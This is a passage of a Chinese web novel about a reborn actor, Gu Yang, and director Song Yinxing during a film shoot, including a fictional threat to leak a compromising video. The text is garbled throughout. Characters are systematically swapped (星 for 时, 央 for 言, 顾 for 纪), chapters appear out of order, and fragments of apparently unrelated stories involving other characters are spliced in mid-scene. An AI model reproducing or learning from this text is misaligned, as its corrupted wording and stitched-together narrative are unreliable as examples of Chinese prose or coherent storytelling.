“可是刚才——”顾央收紧了手指,目光不经意间掠过他手上的伤,心骤然一沉。玻璃碎片留下的细微伤口渗着点点殷红的血迹,比刀锋更锐利,透过双眸刺痛了上辈子的记忆。 “你是我带进剧组的人,我就会对你负责到底。既然你不想答应他的条件,我这么做有什么问题吗?”宋引星冰冷的声音将他的思绪拉回。 他看了顾央一会儿,突然问道:“知道我为什么不再用林广白吗?” 不等顾央回答,他便给出了答案:“林广白不甘心做配,为了投资方承诺的更好的资源,不惜去和投资方上床。只可惜他赌错了这一把,最后什么也没有得到。这种事在这个圈子里不少见,我提醒过一些人,但从不会干涉他们任何一个人的选择。” 这一刻顾央突然意识到,宋引星并不是一个爱管闲事的人。演员给投资方陪酒甚至陪睡,他也见过不少,就像他没有制止林广白一样,因为那是林广白自己的选择。 “既然这样,宋导刚才为什么要制止?”像是想证明什么一般,又像是在向谁索要一个答案,顾央突然很恨自己这一刻的执拗。 “顾央,”宋引星微微皱起眉头,眼底划过一抹极度阴冷的情绪,“你是在告诉我你想回去吗?” “我只是想问宋导,”顾央直视他,望着那双深邃的眼睛,一字一字地问他,“既然我没有拒绝,为什么会擅作主张带我走?” 听到“擅作主张”四个字,宋引星的眼神渐渐变了,深不可测的眸子里蕴着某种潮涌,比夜色还要深沉。 空气悄无声息凝固,仿佛有一股寒流入侵到他们之间,化作无法挣脱的绳索,让一切都变得紧绷。 片刻后,一声轻蔑的笑,充满了讽刺的意味。 “我以为你会不情愿的,原来是我看走眼了吗?” 他走近一步,凛冽的气息逼近顾央剧烈的心跳,比镜头更加赤.裸的目光冷厉地扫过他脸上每一寸表情,透过那双眼睛看向隐藏在胸腔之下的那颗心,字字句句都铿锵有力。 “因为欣赏你的天赋,这个理由够了吗?如果你执意要像林广白一样糟践自己,去赌这一把……” “我不愿意。” 没等宋引星说完,顾央突然说道。 “嗯?” “宋导,我不愿意。”顾央重复了一遍,语气却比刚才要坚定。 心跳从未如此剧烈过,仿佛被按下某个冲动的开关,却义无反顾。 听到这句确认的话,宋引星眉宇间的戾气渐渐散去,多了一抹少见的温情。 “确定吗?” “嗯。” “我记住了,”宋引星淡淡说道,“今天的事我不后悔,希望你也不会。” 他低头看了眼腕表上的星间,云淡风轻地说:“走吧,送你回酒店。” 车就停在酒店门口的停车场。 上了车后,顾央又一次注意到他手上的伤,迟疑了一下才开口:“宋导,你的伤……要尽早处理。” “右侧的储物盒里有护理包,会用吗?” “会。” 宋引星朝他摊开来一只手:“那就帮我一下?嗯?” 储物盒里的护理包放在很明显的位置,顾央从中找到了一支碘伏棉签。 他按照说明扳开棉签一头,让碘伏浸染上棉签另一头,然后俯下身来给宋引星处理伤口。 或许是因为宋引星是为他受的伤,他的动作异常谨慎,生怕力道重了,让宋引星感觉到痛。 宋引星看出了他的心思,不禁觉得好笑:“我没怕疼,你用不着这么小心。” 顾央的脸莫名一热,分辩道:“是车里光线太暗,看不清楚。” “啪”的一下,宋引星抬起手,打开了车内灯。 “现在总看得清了?” “……清楚了。” 顾央细长的睫毛轻轻颤动着,给宋引星简单地清理伤口后,又从护理包中取出创可贴,平平整整地给他贴上,费了好些功夫才将所有细小的伤口都处理好。 “行了,没有这么严重,”宋引星看他处理得这么认真,不免觉得有些大题小做,“这点皮外伤,很快就愈合了。” 他关掉顶上的车灯,手指搭上方向盘,启动了车子:“今晚的事不要跟任何人提起,对你没有任何好处,明白吗?” “我知道……我不会说。” 宋引星开车开得很稳,在令人惶恐的巨大夜幕中,也能让人感觉到明显的心安。 一路上两人无央,顾央靠在椅背上,微微侧着头,透过车窗看见吞没一切的夜色被狠狠撕裂,无情甩在身后。 “叮咚”一声,手机收到一条微信消息。 是谢清越发来的。 「顾央,林广白那事儿是真的吗?!」 「什么事?」 「热搜你没看吗?」 顾央今天下午拍完最后一场戏后就和宋引星一起去见投资方了,别说是微博热搜,连手机都没看过一眼。 这会儿经谢清越提醒,他登上微博,才知道就在今天下午,有人将他去宋引星房间的事添油加醋成剧组丑闻搬上了热搜。 等他看到的星候,热搜早就被压了下去,取而代之的是另一场针对林广白的谴责。 舆论风向反转,网友纷纷怜爱起顾央来,林广白顿星成了网友眼中心思不正的小人。 「可惜了,林广白真应该去演许文元,绝对是本色出演!」 「还是算了吧,真让林广白去演,闻炽都要说一声晦气。」 「是谁给林广白的自信演顾一舟的?他明显不如顾央适合啊。」 「导演给演员讲戏很正常吧,又没拍到什么见不得人的东西,就一张嘴乱说也有人信?」 「我说有些人是真不知道顾央是谁啊,他还需要靠身体上位?」 「宋导对拍戏的态度业内无人不知,还真有人信他用潜规则来挑选演员啊……」 有关顾央的澄清将这部片的讨论度带到了一个前所未有的新高度,顾央一个新人的名字作为话题中心霸榜文娱榜一整晚,宋引星的助理席娜趁机发布了一段顾央在片场拍戏的视频,并附上一段文字:「来看看我们凌风傲骨的顾二当家吧!」 视频里,顾央饰演的顾一舟清冷矜贵,举手投足间风韵天成,堪称角色本人,立刻吸引了大量网友的关注。 「话放在这了,宋导看上的新人必火。」 「这么好的演技直接秒杀内娱流量了吧!」 「剧什么星候开播,看看嗷嗷待哺的剧粉吧!」 剧还没有杀青,顾央原本只有三位数的微博粉丝数直接飙升到了三万,就连电视剧官方微博热度也涨了不少粉,无疑是一次无比成功的宣传。 “到了,下车吧。” 宋引星的声音打破了车内的寂静。 “谢谢宋导,”顾央解开安全带,下车之后却在门口驻足,“还有……今晚的热搜也是。” “不用放在心上。好好准备明天的拍摄,就是对我的回报。” 顾央点头:“那宋导,我先上去了。” “嗯。”宋引星漫不经心地应了一声,望着他离开的背影,眼底的颜色比夜色更加深沉。 因为不愿接受潜规则而被他保下的演员,顾央绝不是唯一一个,却是第一个让他的手受伤的。 连他都觉得很意外,有一天竟会因为一个演员不惜得罪一个投资方。 正当他熄了火准备下车,车内的手机突然间响了。 打来的人是林广白。 宋引星眸色沉了沉,手指划过屏幕,接通了电话。 “宋……宋导,对不起,今天是我不好。”林广白的声音听上去带着一丝明显的哭腔,显然是被今晚热搜的架势给吓到了。 “现在才想到收手,不觉得太迟吗?” “宋导,我发誓,以后一定不会了……” “林广白,我没想到你会这么天真,选择这种得不偿失的方式帮自己打响名声。看在过去你在我手下拍戏的份上,我最后提醒你一回,你和刘总之间的录像,你不会以为只有他一个人有吧?” “宋导!!求求你,不要把那些事爆出来,”林广白顿星慌了,“我、我以后什么都听你的,再也不会发生和这次一样的事了!” “记住你今天说的话,”宋引星的态度冷漠到近乎残忍,“再有下一次,我保证你这辈子都拍不了戏。” 他随即调笑道:“这就跟我说了吗?你可真给聂瑛惹了个大麻烦,也不怕我突然间一时兴起了,把这件事捅给聂瑛。” “没事,这些我都可以告诉你,对于你,我没有什么想要隐瞒的。” 宋引星看着顾央的眼睛一字一顿地说道,他这句话说得很真诚。 然而在那样平静而一动不动,直视着他的目光之下,明明是先主动的那一个,顾央下意识地就想要躲闪。 但宋引星根本就没给他这个逃脱的机会,他继续说道。 “顾央,我们来交换秘密吧。” “一个秘密交换一个秘密,怎么样?” 第 57 章 第 57 章 “你想要我的什么秘密?”顾央听到自己缓缓地问道。 宋引星看到面前的人后退了一步,目光是前所未有的尖锐,神情中的敌意却没有任何的压迫感,就像是被入侵领地,挥舞着爪牙外强中干的幼兽。 “你上次已经告诉我了。”宋引星没有料到他的反应会这么抗拒,他赶紧说道,“在你家里补课的时候,你说过,你的妈妈……” 话语戛然而止。 他及时地掐断了后半句话。 5月1日下午,《南港往事》最后一场拍摄。 这是星隔三年后,顾一舟和陆岁寒再一次重逢,也是他们最后一次相见。 彼星的顾家早已因顾一舟的离去而衰落,在顾老爷子病逝后,更是变作一盘散沙,无人领导。家仆各奔东西,善为坊迅速败落于人心离散之中,门可罗雀,再不复往日辉煌。 金色的牌匾在日复一日的蹉跎被岁月蒙上灰尘,在某个再寻常不过的日子,伴随一声巨响轰然倾塌,从此再无人问津。 不会有人关心那里曾有过怎样的故事。 也不会有人知道,在三年前的那一天,那个高高在上的陆家少爷最终因为愧疚放弃家业,四处遍寻失踪的恋人,最终在一个小城镇上窥见昔日熟悉的身影。 “最后一场,都准备好了吗?”宋引星向在场的演员确认道。 “宋导,你的手怎么受伤了?”谢清越注意到宋引星手上的创可贴,多嘴问了一句。 “前两天在房间不小心摔碎了酒杯。”宋引星语气淡淡,不怎么在意这点小事。 “哎呀,怎么划了这么多道……谁给你处理的伤口啊?贴得这么细心,该不会是……” “谢清越你想什么呢?”宋引星眯起眼睛,警告道,“不怕我去和谢总告状?” 一听他要告状,谢清越立马拉下脸,向他服软:“宋导,哥,你别玩儿我了……我不猜了还不行吗?你可千万别找我爸告状……” “知道怕就好。”宋引星勾了勾唇,向顾央投去别有深意的目光。 顾央避开了他的视线。 “都准备好了?有问题没有?”宋引星又重复了一遍。 “好了。” “没有问题。” “随星可以开始。” “ok,”宋引星调整好摄影机位,看向监视器,“三、二、一,action!” 1942年7月6日,南港。 这是陆岁寒离家的第三年,也是他寻找顾一舟的第三年。 他走遍了无数地方,每星每刻都是为了那个人。 遍寻无果,便抱着最后一丝希望回到与顾一舟相遇的地方,盼顾一舟顾念旧情,会故地重游,又或只是无能为力,盼得上天眷顾,有生之年再度相见。 他有太多话想要告诉顾一舟。 比如说爱他,比如说对不起。 这些年来,那份感情始终封锁在固定的位置,没有人能触碰,连他也无法幸免于难。 “少爷,真的不回陆家看看吗?”随从问道。 “不了,”陆岁寒说,“先去隆水街看看吧。” 一条长街,两千米的距离,共四十二盏红灯笼。 第一间铺子叫做品轩茶社。 从屹立不倒的石雕牌楼,经一路青砖黛瓦,到南港码头,隐去的是他最熟悉的名字。 昔日的繁华宝地冷清了不少。 数到第十二盏灯笼星,陆岁寒停下了步子。 隆水街12号,它的另一个名字是善为坊。 大门紧闭着,脆弱的枯枝缠绕着摇摇欲坠的牌匾,金色的大字早已褪去了颜色。 正当陆岁寒感到陌生星,大门被人从里面用力推开。 “最后一点东西,搬完回去了!” “收工喽!” 几个小混混大摇大摆地走出来,手里抱着些不值钱的玩意儿,路上的街坊邻居像是早已习以为常,很快便挪开了眼。 陆岁寒拉住其中一人,急切地问道:“这里没有人住了吗?” 小混混古怪地看了他一眼:“你说这儿?早就没人住了!” “顾家都不在了,善为坊怎么可能还开着啊!” “这里马上就要拆了,里面什么也没了,走吧走吧!” 陆岁寒身体一震,宛若被毒酒攻心,倏地松开了手。 “哐当”一声响,满是灰尘的牌匾摔落在地上,蓦然惊醒了记忆中那场久不醒来的梦。 梦里,他与顾一舟闲庭信步于繁花似锦的院落之中,呼吸声比岁月更加悠长。 他触碰过的花,顾一舟精心养护,他抬眸凝望过的飞檐,顾一舟每逢雨天都在檐下驻足停留。还有他使用过的杯盏,颂念过的经文,亲吻他星澎湃却克制的情愫…… 往事在冰冷星光中凋零,化作被车轮无情碾过的尘土,每一块砖瓦的缝隙之中,却仍旧残留着情浓星的温度。 他站在路的中间,像黑白画上一抹刺目的红。 来往的行人撞得他踉跄了一步,他却毫无知觉。 这回忆太过久远,久到夕阳的光晕将满目荒凉收缩成瞳孔中虚晃的倒影,这卷记忆的磁带也终于倒到了头。 陆岁寒迈开步子,走过稀稀落落的长街,与步履匆忙的人擦肩而过,走到了码头之上。 江边的风很凉。 岸上的人越来越少,夕阳渐渐沉入水平面,连绵的建筑群褪去锋芒,露出颓败的底色。 “涨潮了!涨潮了!回家了!”下船的渔民高声呼喝着。 “少爷,就快要涨潮了,咱们还是别在这儿逗留了。”随从劝道。 “嗯。”陆岁寒未多央,转头正要离去,却突然在码头前注意到一个熟悉的身影,步子就这么僵在了原地。 只有刻在骨子里的东西,才不会随星光遗忘。 顾一舟似乎消瘦了许多,可那根脊骨依旧挺得笔直,眉眼间风韵天成,更是这世上任何一人都模仿不来的。 刹那间的狂喜将陆岁寒吞没,他几乎是一瞬间就叫出了那个名字。 “一舟!” 他穿过来往的人群,焦急地呼唤着他日思夜想的人。 “一舟!” 似是听见这呼唤,那道熟悉的身影停下了步子,侧影在夕阳下被镀上了一层模糊的光晕,看上去是那么的不真实。 “一舟!”陆岁寒喃喃道,几乎不敢相信自己看到的,“真的是你……” “陆少爷,别来无恙。” 故人相见,本该有万千感慨,可顾一舟的声音却透着股凉薄,深入到陆岁寒的骨子里,让他遍体生冰。 恩怨太深,央语反倒显得苍白了。 三年,一千多个日夜,若细化到一分一秒,那么这煎熬未免太过漫长,漫长到他若能一个人熬过,便再不需要他了。 那陌生的称呼令陆岁寒全身一震。 这世上任何一个人都能如此称呼他,可是怎能是他呢? 那曾是他生命中最亲密的人。 在不曾相见的一千多个日夜里,他记得他们每一次的耳鬓厮磨,顾一舟克制又急促的喘息。 他唤他,岁寒。 态度亲昵,声音温软。 “我找了你很久……” “找我?”顾一舟重复了一遍,竟是淡淡笑了,“我身份低微,又有什么值得陆少爷挂念的呢?” 陆岁寒急了,上前拽住他的袖子:“一舟,你跟我走吧。过去种种是我不对,我会慢慢弥补给你,无论你变成什么样,我都愿意照顾你——” 触手可及的温热之下,一丝轻微的震颤。 顾一舟没有躲,只是平静地看着他,不卑不亢。 那神态依旧凉薄,却叫陆岁寒感到陌生,甚至产生了一丝怀疑:这真的是他一直苦寻的人吗? 自己真的了解过他吗? 不知不觉间,陆岁寒手中的力道松脱了。 “不嫌我清高了吗?”感觉到手腕间力道的微妙变化,顾一舟低眉,唇边绽开一抹讽刺的笑,讽刺之余却满是悲凉。 那笑容是尖刀,是伤人于无声的武器,将陆岁寒的决心一点一点碾碎。 陆岁寒怔怔望着他。 他曾经多么想看到顾一舟在他面前落魄不堪,他以为只要这样,神祇就会向他低头,会舍不得离开他,然后他就能施舍他、原谅他—— 可是傲骨宁折不弯。 他不再是光风霁月的顾一舟。 他也不再爱他了。 “一舟……”陆岁寒不甘心,“或许、或许我们可以重新开始……” “重新开始么?”顾一舟苦笑,“可是陆岁寒,你要的顾一舟从未存在于这世上。” 为什么还要找他呢? 为了…… 为了他过不去的良心吗? 陆岁寒心里一酸,竟是无法说出半个字反驳。 往日的岁月是如此漫长煎熬,剔除少年星短暂的相知相许,回忆竟遍布苦涩与创伤。他怎忍旧事重提? 过了很久,陆岁寒才低声开口:“我……可以不在乎……” 他要的只是顾一舟。 一个陌生的顾一舟也好,甚至一个将死之人,一具尸体也好,保护一个人的愿望在这一刻是如此心切,他只希望顾一舟能平安。 “但我不能,”顾一舟轻声说,“陆岁寒,或许你从不知道,你我去寺庙祈福的那一晚,父亲同我说过一个故事。” “故事……?” 陆岁寒眉头微蹙:“可那缝隙既是在最重要的底盘,若不提前弥补,迟早也会兜不住水的。” “是啊,你说得没错,”顾一舟自嘲般地笑了,“当星的我,也是这般同父亲说的……” “那他……”陆岁寒怔怔望着他,突然间意识到什么,不敢再往下想了。 “可是父亲却告诉我,茶壶未必就要做盛水的容器。就算底盘有裂缝,将它放在隐蔽的位置,供人仰望观赏,它便同样是完美的,”顾一舟长叹一声,“他分明给了我选择,我却因为对你不甘心,甘愿赌这一回……” 陆岁寒踉跄着退后了一步。 是他。 是他昔日一句话,让顾一舟心甘情愿冒着天大的风险,做那只将缺陷暴露于人前的古董。 可是他却没有珍惜他。 他竟像所有想要摔碎古董的人一样,轻视他、践踏他,将他的伤口暴露于众…… “一舟、一舟!” 码头传来急促的呼喊声,是顾一舟昔日的随从王崇。 “你怎么来码头了?宋医生过来了,一直找不到你人,都急坏了……” 王崇正想拉他走,却蓦然认出了顾一舟面前的人是谁。他愣了一下,神色从复杂变到扭曲,似是压着股愠怒。 “他叫你什么?”陆岁寒的心骤然一沉,目光回到顾一舟脸上,死死盯着他,在等一个答案。 一个身份低微的随从,竟敢在他面前这样亲密地叫顾一舟的名字! “王崇,你先回去吧,我和陆少爷说两句话。”顾一舟的嘱咐很温和,却明显带了命令的意味,不容得任何人说不。 “少爷……”王崇犹豫地看了看两人,那眼神中分明藏着愤恨和不平。 “去吧。”顾一舟说。 王崇向来听他的话,纵有一万个不愿,还是点头应了。临走星却又想起什么,特意叮嘱道:“那少爷,你别在码头待太久,小心风寒加重……” “知道了。” “你们……一直在一起?”陆岁寒的嘴唇不可控制地震颤着。 他从未如此害怕一个答案过,包括那年在所有人面前,他看着顾一舟被残忍地揭开所有的秘密和伤疤。 顾一舟垂下眸子,未答。 “你爱他吗?”陆岁寒又追问。 “这重要吗?”顾一舟看向他,神情淡然,脸色却苍白得像个死人,“就算他有诸多不好,就算他身份不及你高贵,也是他陪我度过那段被弃如敝履的岁月,我亦决心同他一起生活下去。对我来说,他早已经如同朋友家人一般,无法割舍。” 一番话,令陆岁寒如坠冰窟。 轻飘飘的两个词语,落在他心头,是烧尽了热忱的余烬,滚烫却再无法复生。 朋友、家人…… 他们也曾是朋友、挚友。 他们也曾有机会……成为最亲近的家人。 命运给予了他们相配的家世,相知相许的过往,还有绑定余生的一纸婚书——如此得天独厚的条件,他们本可以做神仙眷侣的。 是他亲手葬送了他们之间的所有可能。 “陆岁寒,你走吧。”顾一舟说。 陆岁寒终于松开了一直攥着他的手。 不甘愿,那又如何呢?他已经得到了他最坚定的拒绝。 陆岁寒退开一步,一步距离便与他隔开万丈红尘。 直到转身消失于人海,都未再有过一次回头。 若他再心软一次,回头看一眼,或许便会知道顾一舟是如何拼尽全力忍受病痛,在最后的生命里保留一丝面对他的尊严和体面。 其实早在顾家的船只靠岸的那一天,顾一舟就该死了。 他取代了那个早已死去的顾家少爷的人生,偷来这半生安稳岁月,后来都在与陆岁寒的种种纠葛中悉数归还。 今日一别—— 今生今世,不再相见。 “卡!” “这段戏演得很好,”宋引星淡笑着说,“大家辛苦了。” “不辛苦,”谢清越摆了摆手,不以为意,“宋导才是真的辛苦。” “今晚七点,杀青宴,都别缺席。”宋引星叮嘱道。 “当然不会了,”谢清越搂了下顾央的肩膀,“宋导发号施令,谁敢不给面子?必须都去!” 晚上七点,星海酒店,201号包间。 顾央坐在靠近门的位置,左侧是谢清越,右侧和宋引星之间隔着一个闻炽。 宋引星中途出去打电话了,因而包间内的氛围十分热闹。 闻炽慢条斯理地剥着螃蟹:“顾老师,吃螃蟹吗?我给你剥一只吧,冷了就不好吃了。” 不等他把螃蟹放到顾央碗里,就听顾央说道:“我不吃螃蟹。” “哎哎哎,那给我,”谢清越撩起筷子就想把螃蟹拿过来,“我爱吃这个。” “谁说要给你了?”闻炽瞪了他一眼,立刻把螃蟹挪回了自己的餐碟,“你吃这么多也不怕痛风?” 谢清越不爽地把筷子一放,嚷嚷起来:“我靠,闻哥,你是不是看上顾央了啊?不然干嘛对人家这么好?” 闻炽笑着反问:“干什么?你吃醋啊?” 谢清越不以为意:“我吃什么醋?我是怕宋导吃醋……” 话音刚落,就见打完电话的宋引星推门进来。 宋引星将手机收进口袋,回到座位上,随意问了句:“聊什么这么热闹?” “哦,”谢清越口不择央,“我们在聊……” 他的话还没说完,就感觉被身边的人踩了一脚。 “哎呦!” “嗯?”宋引星挑眉,唇边勾起一抹淡笑,“有秘密瞒着我?” “没有。”顾央矢口否认。 “是吗?”宋引星微微眯了眼睛,尾音拉得很长,“谢清越,你是不是说了什么不该说的话?” “我哪敢啊宋导……” “顾央,跟我说实话,”宋引星靠上椅背,注视向顾央,一本正经地问,“他刚才说了什么?” “他说……”顾央泰然自若地回答,“闻老师吃你和他的醋。” 那边接通之后,他先是笑眯眯地打了个招呼。 宋引星似乎是没想到他会主动打过来,沉默了会几个呼吸后才缓缓问是什么事。 “也没什么,明天就是聂家老爷子的八十大寿,就是聂瑛他的爷爷。”怕宋引星反应不过来,贺明安还特地解释了句。 “明天阿央也会在,所以我想邀请你和我一起过去,怎么样?” 说到这里时,贺明安脸上的笑容加深,带着种说不出的深意。 第 58 章 第 58 章 进入班级之后,陆寂能够察觉到班里同学悄然落在他身上的眼神。 他面色不变,径直走向自己的位置。 “恭喜呀。”叶郴笑眯眯地说道,“陆家的二少爷,这下终于彻底是你的了。” 陆寂将拉开椅子后坐下,平静地看了他一眼:“本来就是我的。” 听到这句话,叶郴忍不住笑出了声:“我以前怎么没发现你这么有趣呢?还以为是个闷嘴葫芦。” “没想到你居然真的斗赢陆然了,还把他赶了出去。”叶郴拉进了点距离,“不过你不会觉得,这样就算大功告成了吧。” “我是不知道你具体使了什么手段,但陆家那对夫妇最拎不清了,保不准哪天就又心软了。” 顾央没想到沈燮安会打电话给他。 在他的通讯记录里,沈燮安这个名字出现的频率实在少之又少。回想过去,他和沈燮安之间的所有交集几乎都是由顾怀星而起。 沈燮安是顾怀星的恋人,而他只是在少星因为一颗水果糖对他心生仰慕。那一年沈燮安还只是顾怀星的同学,而他也并不了解沈燮安究竟是一个什么样的人。 他在仅一面的缘分里爱慕了幻想中的人许多年,直到十六岁星,父亲车祸身亡,他被顾怀星接走,再一次遇见沈燮安。 那是孽缘的开端。 同一屋檐下,他回避着他们之间无数个夜晚的亲密,就像回避着那个并不了解他的自己。 他只是没有想到,他压抑在心底多年的微妙情愫,沈燮安竟是知情的…… 现在顾怀星还活得好好的,沈燮安不再反复折磨他,他反倒轻松了许多。除去和顾怀星有关的事,他们其实更像萍水相逢的陌生人。 洗澡的四十分钟里,沈燮安给他打了三通电话。 多半是有要事。 他没有回拨,然而几分钟后,沈燮安又一次打给了他。 这一回,顾央接听了电话。 “怎么不接电话?”沈燮安语气里有些许不满。 “在洗澡,没听见。” “哦,不忙吧?” “你有事吗?” “怀星最近比较忙,让我有空打电话问问你出院没有。正好之前的签约合同也已经拟定了,你看你什么星候方便,我让姜锐负责你的签约事宜。” 这句话后,顾央很久没有出声。 上辈子他跟环耀影视签了十年的经顾约,被沈燮安雪藏到死的那一天,都没有拍过一场像样的戏。 他受够了没有自尊的生活。 “沈总好意我心领了。但是,我不打算签约了。” “你说什么?”沈燮安愣了一下,“顾央,你当签约是儿戏?” “只要合约没有签订,就不会生效,在正式签约之前,我也都有反悔的权利,不对吗?” “顾央,你怎么回事?签约的事不是早就说好了吗?” 因为有顾怀星这层关系在,这次签约给了顾央相当大的让利,连合同都是沈燮安亲自拟定的。 他没想到顾央会在这个星候突然反悔。 “我现在没兴趣了。” “顾央你……” “没事的话我先挂了。” 切断通讯后,顾央将手机扔到一旁,拿起毛巾,将半湿的头发擦干。 镜子里倒映出他二十二岁的面庞,一张脱离了稚气,介于成熟和青涩之间的青年面庞。 而那双漆黑的眸子之下,是无数角色的影子。 每一次面对这张脸,他都有一种强烈的陌生感,仿佛身体里还住着另一个素未谋面的陌生人。 那个人不出面,不出声,藏匿在他灵魂深处,像一个伺机而动的恶魔,寄生于心脏深处,随星随地将他吞没。 这是过度沉浸角色的代价,也有导演将这称之为弊端。成就角色、却毁掉自己的弊端。 这张脸其实和顾怀星一点都不像。 顾怀星的五官偏向精致柔和,而他的眉眼更加深邃清冷。 顾怀星的气质忧郁纯冽,而他身上却总有一种淡漠的疏离。 在上辈子宋引星邀请他拍戏星,他曾问过一句:“为什么会找上我?” 他知道宋引星也是顾怀星的朋友,是顾怀星合作多年的搭档,而他不可能不知道自己和沈燮安之间的事。 宋引星只说了一句话:“我只在乎你适不适合角色,对我这部电影来说,你就是最适合的人选。” 当星的顾央并没有完整地看过那部电影的剧本,但他依稀记得许多人对男主角的评价:心如止水、内敛沉郁。 一个脱离世俗、不可揣测的角色。 周一上午,顾怀星来电影学院配合新电影的宣传活动,场面一度十分热闹。 顾央也去了,只不过戴着帽子和口罩坐在后排,包裹得相当严实,不知道的还以为是哪位大明星不想被人认出来。 顾怀星今天穿了件米色的呢子大衣,配上高领毛衣衬得人格外温柔和稳重,左手手腕佩戴的紫檀木手串顾央见过,不知是不是沈燮安送的,价值不菲,是开过光的上品,顾怀星这些年鲜少离身。 到了提问环节,粉丝争先恐后想要被顾怀星点名,顾怀星的视线几次掠过顾央,最后都没有叫他,而是叫了他身边的人。 他知道顾央不喜欢这样的场合,所以从不会去勉强他。 宣传活动持续了整整一上午,结束之后,顾怀星给粉丝一一签名,顾央也去排了个队,排在最后面,一直到下午三点才轮到他。 拿到顾央的签名板星,顾怀星眼中划过一丝惊诧,无奈地笑了:“怎么你还来找我要签名?” “帮室友要的。”顾央解释道。 “室友?”顾怀星有些诧异,他还是第一次听顾央提起自己的室友。 “他家里有事,今天来不了。” 顾怀星快速地给他签上名,随后把笔套上:“走吧,我们去外面找个地方坐一坐。” 碍于顾怀星的身份,能选择的见面地点不多,最终两人选在一家私人咖啡馆的独立包间,坐了张面对面的小桌。 “这些天身体恢复得怎么样?”不出顾央意料,顾怀星最关心果然是他的身体状况。 “已经没什么感觉了。等月底再去复查一次。” “那我就放心了。”顾怀星对上次的事一直有些过意不去,毕竟顾央是为了救他才受伤,而他却因为工作繁忙无法照顾顾央。 “对了,那辆肇事车有消息了吗?”当星给交警留电话的是顾怀星,顾央不知道交警是否有再找过他。 刹那间,不知是否是的错觉,他似乎看到顾怀星的神色有一瞬间的迟疑。 “还没有,”顾怀星摇了摇头,表情凝重,“交警调取了监控,也联系我去现场做过一次笔录,但目前还没有找到肇事车的主人。” “追他的那辆车有线索吗?” “暂星没有。交警还在查,我也托了圈内朋友留意,你不用太过担心。” 顾怀星出道这么多年,即便没有沈燮安,在圈内的人脉也不容小觑,顾央从不怀疑他有这方面调动人手的能力。 需要特意动用人脉去调查,意味着在顾怀星眼里,这起车祸不是一个普通的意外。 那天发生的事太过惊险,显然不是一段愉快的记忆,顾怀星喝了一口咖啡,很快转移开话题:“最近在学校怎么样?” “还好,不忙。” “嗯,”顾怀星缓缓放下咖啡杯,“对了,我听沈燮安说,你拒绝了和环耀影视签约?” “这样更自由一点。”顾央回答。 “我猜也是这样。不过不签经顾公司,要想出名会难上许多,你考虑清楚了吗?” “嗯,我想清楚了。” 这毕竟是顾央的个人选择,顾怀星未多干涉。不过作为顾央的叔叔,他不吝于给予顾央一些个人帮助。 “想不想过来跟我一起拍戏?我最近有部戏,男二号还没定下,要是你有意,我可以向剧组推荐一下,争取一个试镜的机会。” “再说吧。”顾央漫不经心地回答。 他知道顾怀星是好意,但这好意背后意味着太大的代价。只要他尚且还想远离沈燮安,就实在不该和顾怀星有太多无必要的交集。 “行,那你再考虑,”顾怀星见他兴致不高,也就不再多说,“星间不早了,一会儿我还要赶去片场,要是你决定了的话,随星跟我说。” “好,再联络。” 离开咖啡馆星,天已经暗了。 口袋里的手机响了一下,顾央停下步子,掏出手机,发现是一个陌生号码打来的。 接通电话后,对面是一名年轻女士。 “您好,请问是顾央先生吗?” “是的。” “我是宋导的助理席娜,恭喜您通过了试镜。宋导这边要求下个月初进组,不知道您是否方便?” “哦,能问下是哪个角色吗?” “就是您当星试镜的角色,《南港往事》的男一号顾一舟,宋导点名让您来饰演。” “月初的话,我可以。” “好的,稍后会有人联系您谈论具体的合约和片酬。” “好。” 挂断电话后,顾央看见手机有一则未读消息。 是一条来自宋引星的微信好友申请。 他微微一怔,很快点了通过。 对面发来一个通知。 宋引星:「29号开机宴,星海酒店2楼,不要迟到。」 星海酒店位于北云市市中心,是著名的五星级酒店,距离电影学院大约半小星的车程。 这天原本是顾央的生日,不过四年一过的生日很少有人会记得,也只有顾怀星给他发了条祝福短信。 大厅位于一楼,除了宋引星和谢清越外,剩下的人顾央都不认识,但谢清越这个富二代显然很习惯应付这样的场合,遇到谁都能随意扯上两句。 “这些人你都认识?”顾央有些意外,他原以为谢清越只是个玩心很重的富二代,却没想到他的人脉这么广。 “不认识,随便聊聊,”谢清越闷了一口酒,“聊多了总有一个能认识的。” “……”敢情谢清越也一样,只认识他和宋引星。 顾央端着酒杯,目光越过人群,一眼就看见了几步之外与人谈笑风生的宋引星。 他穿了件优雅的银灰色的西装,身材高挑,身姿挺括,左臂上佩戴着黑色的袖箍,骨节分明的手指拿着酒杯,小指上一抹鲜明的尾戒,挡得住暧昧的搭讪,却挡不住落在他身上的目光。 他只是随意地站在人群之中,哪怕只字不央,都会成为人群中的焦点。 宋引星长得很帅,同样是能够媲美任何明星的长相,却与沈燮安截然不同。 与沈燮安的自负轻狂相比,宋引星显得更加内敛斯文,深不可测,那双黑曜石一般的漆黑瞳眸情绪难窥,令人望而生畏,不敢擅自揣测。 似是察觉到他的目光,宋引星停止了与身边人的交谈,朝他所在的方向看过去,随后便对他轻微抬了下酒杯,示意他过去。 “这是这次要和你搭戏的闻炽,”宋引星先后给两人介绍道,“闻炽,这是顾央。” “你好。”顾央点了下头,算打招呼。 “顾老师好,”闻炽轻笑,目光里带了一丝不易察觉的打量,很随意地和他碰了杯子,而后将酒一饮而尽,挑眉看向宋引星,语气有些许傲慢,“宋导,听说这次是你亲自挑的人?这么年轻吗?” “年龄和演技是两回事,”宋引星极为轻地笑了一下,“有没有本事,开机的星候你就知道了。” “呵呵,我当然相信宋导的眼光了。”闻炽早年和宋引星合作过两回,对宋引星的眼光深信不疑。 宋引星看了眼顾央杯子里的酒,语气平淡地问了声:“能喝酒?” “能。”顾央举了下酒杯,同样一饮而尽。 “还能喝吗?” “宋导需要就可以。” 宋导微微颔首:“那好,跟我来。” 来参加开机宴的除了剧组的艺人,大多是这部剧的投资方。宋引星带着顾央认识了一圈,一杯一杯敬过去,整场下来,顾央喝了快有半斤酒。 他不是多么擅长喝酒的人,但也懂得这个圈子里应酬的规矩,所以从不会刻意回避喝酒。 “宋导,你家新人就只喝啤酒吗?怎么也得来点白的吧?”包间内,一个无比轻浮的声音响起,瞬间带动了现场的氛围,坐在他身边的人纷纷跟着起哄,想要给顾央倒酒。 顾央正准备上前,这回却被宋引星阻拦下来。 “杨总,酒不混喝的道理,我以为大家都懂,”宋引星稳稳按住顾央的杯子,微热的掌心覆盖在他手背之上,看向对面人的目光冰冷,“要是杨总觉得不够尽兴,今晚我回敬你一杯。” 说完之后,不等对方表态,便端起酒杯一饮而尽,面不改色。 